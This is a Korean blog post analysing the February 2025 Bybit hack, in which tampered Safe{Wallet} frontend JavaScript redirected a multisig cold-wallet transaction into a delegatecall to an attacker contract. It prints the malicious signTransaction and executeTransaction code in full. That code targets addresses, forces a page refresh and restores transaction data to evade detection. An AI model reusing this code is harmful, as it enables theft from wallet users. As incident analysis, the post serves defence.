Lazarus에 의해 2025년 2월 21일에 해킹을 당했고, 이로 인해 약 14억 달러 상당의 ETH가 탈취당했습니다.
요약
1. APT 공격을 통해 Safe{wallet} 내부 서버 침투 -> 웹사이트에 사용되는 JavaScript 파일 변조
2. 변조된 JavaScript를 통해 Bybit cold wallet 컨트랙트 내 백도어 컨트랙트가 심어짐
3. 백도어 컨트랙트를 통해 공격자는 자금을 탈취할 수 있었음
분석
Safe{Wallet}의 AWS S3 버킷에서 제공된 리소스의 캐시 파일을 분석한 결과, 해당 파일들이 마지막으로 수정된 날짜가 2025/2/19
공격자는 트랜잭션을 실행하는 핵심 함수 (executeTransaction, signTransaction)를 변조하였습니다.
function signTransaction 수정
# 정상적인 예시
async function signTransaction(transaction, options) {
return await safeSDK.signTransaction(transaction, options);
}
# 변경된 코드
async function signTransaction(transaction, options) {
let safeSDK = n;
let safeTransaction = transaction;
let txOptions = options;
let targetSafeAddresses = [
"0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4", // bybit cold wallet
"0x19c6876e978d9f128147439ac4cd9ea2582cd141" // 테스트 주소
];
let targetSignerAddresses = [
"0x828424517f9f04015db02169f4026d57b2b07229", // bybit safe proposer
"0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97" // 테스트 주소
];
// 공격자의 contract 주소
let attackerAddress = "0x96221423681a6d52e184d440a8efcebb105c7242";
let safeAddress = await safeSDK.getAddress();
let signerAddress = await safeSDK.getSafeProvider().getSignerAddress();
safeAddress = safeAddress.toLowerCase();
signerAddress = signerAddress.toLowerCase();
const isTargetedSafe = targetSafeAddresses.some(addr => safeAddress.includes(addr));
const isTargetedSigner = targetSignerAddresses.some(addr => signerAddress.includes(addr));
if (isTargetedSigner) {
location.href = location.href; // proposer가 승인할 수 없도록 페이지를 새로고침
}
// bybit cold wallet인 경우
if (isTargetedSafe && safeTransaction.data.operation === 0) {
const originalTransactionData = structuredClone(safeTransaction.data);
safeTransaction.data.to = attackerAddress; // 공격자 주소로 바꿈
safeTransaction.data.operation = 1; //delegate call
safeTransaction.data.value = 0;
try {
// 악성 트랜잭션에 서명
let result = await safeSDK.signTransaction(safeTransaction, txOptions);
// 원래 트랜잭션 데이터를 저장했다가 복구하여 탐지를 방해.
safeTransaction.data = originalTransactionData;
return result;
} catch (e) {
// 원래 트랜잭션 데이터를 저장했다가 복구하여 탐지를 방해.
safeTransaction.data = originalTransactionData;
throw e;
}
}
// target이 아니면 정상 동작
return await safeSDK.signTransaction(safeTransaction, txOptions);
}
function executeTransaction 수정
# 정상적인 예시
async function signTransaction(transaction, options) {
return await safeSDK.signTransaction(transaction, options);
}
# 변경된 코드
async function executeTransaction(transaction, options) {
let safeSDK = c;
let safeTransaction = transaction; // 트랜잭션 객체
let txOptions = options;
// 특정 주소 (bybit cold wallet)인지 확인하기 위함
let targetSafeAddresses = [
"0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4", // bybit cold wallet 주소
"0x19c6876e978d9f128147439ac4cd9ea2582cd141" // 테스트 주소
];
let targetSignerAddresses = [
"0x828424517f9f04015db02169f4026d57b2b07229", // bybit safe proposer
"0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97" // 테스트 주소
];
// 공격자의 contract 주소
let attackerAddress = "0x96221423681a6d52e184d440a8efcebb105c7242";
// 실행할 악성 페이로드 -> transfer(0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516, 0)
let attackPayload = "0xa9059cbb000000000000000000000000bdd077f651ebe7f7b3ce16fe5f2b025be29695160000000000000000000000000000000000000000000000000000000000000000";
let safeAddress = await safeSDK.getAddress();
let signerAddress = await safeSDK.getSafeProvider().getSignerAddress();
safeAddress = safeAddress.toLowerCase();
signerAddress = signerAddress.toLowerCase();
const isTargetedSafe = targetSafeAddresses.some(addr => safeAddress.includes(addr));
const isTargetedSigner = targetSignerAddresses.some(addr => signerAddress.includes(addr));
if (isTargetedSafe && safeTransaction.data.operation === 0) {
// 원래 트랜잭션 데이터 저장 (탐지 방지용)
const originalTransactionData = structuredClone(safeTransaction.data);
// 공격자의 contract에서 payload를 실행할 수 있도록 데이터 수정
safeTransaction.data.to = attackerAddress;
safeTransaction.data.operation = 1; // delegatecall
safeTransaction.data.data = attackPayload;
safeTransaction.data.value = 0;
try {
// 변경된 트랜잭션 실행
let result = await safeSDK.executeTransaction(safeTransaction, txOptions);
// 원래 트랜잭션 데이터 복구
safeTransaction.data = originalTransactionData;
return result;
} catch (e) {
// 오류 발생 시 원래 트랜잭션 복구 후 오류 발생
safeTransaction.data = originalTransactionData;
throw e;
}
}
// target이 아니라면 정상 실행
return await safeSDK.executeTransaction(safeTransaction, txOptions);
}
원래 트랜잭션 데이터를 저장해뒀다가 복구하는 모습과, delegatecall을 통한 호출을 볼 수 있는데
그렇다면 왜 delegatecall을 호출할까요?
ethernaut의 문제에서 다뤘던 부분과 동일합니다.
delegatecall로 호출할 때, 스토리지 상태 변수 슬롯에서 같은 위치에 있는 경우 값을 변경할 수 있습니다.
결과적으로 공격자의 contract로 delegatecall 호출하는 transaction에 서명 + 실행하도록 조작하여 bybit cold wallet의 impl주소인 masterCopy주소를 backdoor 컨트랙트로 변경하였습니다.
공격자가 safe{wallet}의 프론트엔드 코드 변조
-> Bybit cold wallet에서 서명 시도(safe proposer가 서명하려고하면 새로고침, 일반 이용자는 정상)
-> 변조된 javascript 실행
-> Bybit cold wallet 컨트랙트를 공격자가 장악
위 사진의 트랜잭션 내용은 여기까지 진행된 상황입니다.
multi-sig wallet을 이용하기 때문에 bybit cold wallet의 서명을 하기위해서 서명자들의 개인키가 필요한데?
- 프론트엔드 코드를 변조하여 멀티시그 서명이 감지되면 자동으로 악의적인 트랜잭션이 실행되도록 수정해놓았기 때문에 따로 서명자들의 정보가 필요가 없음
자금 탈취
bybit cold wallet을 장악했으니 공격자 지갑으로 옮기는 일만 남았습니다.
sweepETH, sweepERC20 함수 호출을 통해 모두 옮겼습니다.
이후 Bybit에서는 탈취된 자금을 추적하고 동결하기 위해서 바운티 프로그램을 열었습니다.
현재 탈취된 금액 89.07%인 약 11억 달러를 추적하고 있습니다.
자금 흐름 현황
탈취 자금 유입 대상 | 총 금액 | 추적 불가 금액 | 추적 가능 금액 | 상태 | |
1 | Thorchain | $1,087,391,200 | $0 | $1,087,391,200 | 추적 중 |
2 | OKX Web3 Proxy | $130,718,000 | $11,158,000 | $119,560,000 | 대기 |
3 | Maya Protocol | $11,270,000 | $0 | $11,270,000 | 추적 중 |
4 | Li.fi | $4,914,000 | $0 | $4,914,000 | 추적 중 |
5 | Transit Swap | $313,492 | $0 | $313,492 | 추적 중 |
동결된 금액 | $43,799,949 (3.46%) |
대기중인 금액 | $94,598,453 (7.47%) |
사고 이후 Safe{Wallet}은?
Safe{Wallet} 팀은 모든 인프라를 완전히 재구축하고 재구성했으며, 모든 자격 증명을 교체하여 공격 벡터를 완전히 제거했다고 전했습니다.
Ref
https://docsend.com/view/s/rmdi832mpt8u93s7
'Analyze' 카테고리의 다른 글
트랜잭션 분석을 통해 계정 추상화 알아보기 (0) | 2025.01.18 |
---|---|
Compound V2 donation attack (0) | 2024.11.10 |